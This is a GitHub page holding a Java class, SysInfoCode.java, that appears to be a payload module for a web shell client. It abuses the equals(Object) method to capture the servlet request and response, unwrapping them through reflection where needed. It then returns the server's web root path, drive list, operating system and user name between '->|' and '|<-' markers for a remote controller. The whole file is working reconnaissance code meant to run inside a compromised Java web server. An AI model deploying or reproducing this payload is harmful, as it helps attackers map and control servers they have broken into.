-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathSysInfoCode.java
95 lines (90 loc) · 3.62 KB
/
SysInfoCode.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.PageContext;
import java.io.File;
import java.lang.reflect.Field;
public class SysInfoCode {
public HttpServletRequest request=null;
public HttpServletResponse response=null;
@Override
public boolean equals(Object obj) {
if (obj instanceof PageContext){
PageContext page = (PageContext)obj;
request = (HttpServletRequest) page.getRequest();
response = (HttpServletResponse) page.getResponse();
}
else if(obj instanceof HttpServletRequest){
request=(HttpServletRequest)obj;
try {
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2= (HttpServletRequest) req.get(request);
Field resp=request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
response= (HttpServletResponse) resp.get(request2);
} catch (Exception e) {
e.printStackTrace();
}
}
else if (obj instanceof HttpServletResponse){
response= (HttpServletResponse) obj;
try {
Field resp=response.getClass().getDeclaredField("response");
resp.setAccessible(true);
HttpServletResponse response2= (HttpServletResponse) resp.get(response);
Field req=response2.getClass().getDeclaredField("request");
req.setAccessible(true);
request= (HttpServletRequest) req.get(response2);
} catch (Exception e) {
e.printStackTrace();
}
}
String cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8";
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
output.append("->" + "|");
sb.append(SysInfoCode(request));
output.append(sb.toString());
output.append("|" + "<-");
response.getWriter().print(output.toString());
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
return true;
}
String SysInfoCode(HttpServletRequest r) {
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = System.getProperty("os.name");
String user = System.getProperty("user.name");
String driverlist = this.WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
String WwwRootPathCode(String d) {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
}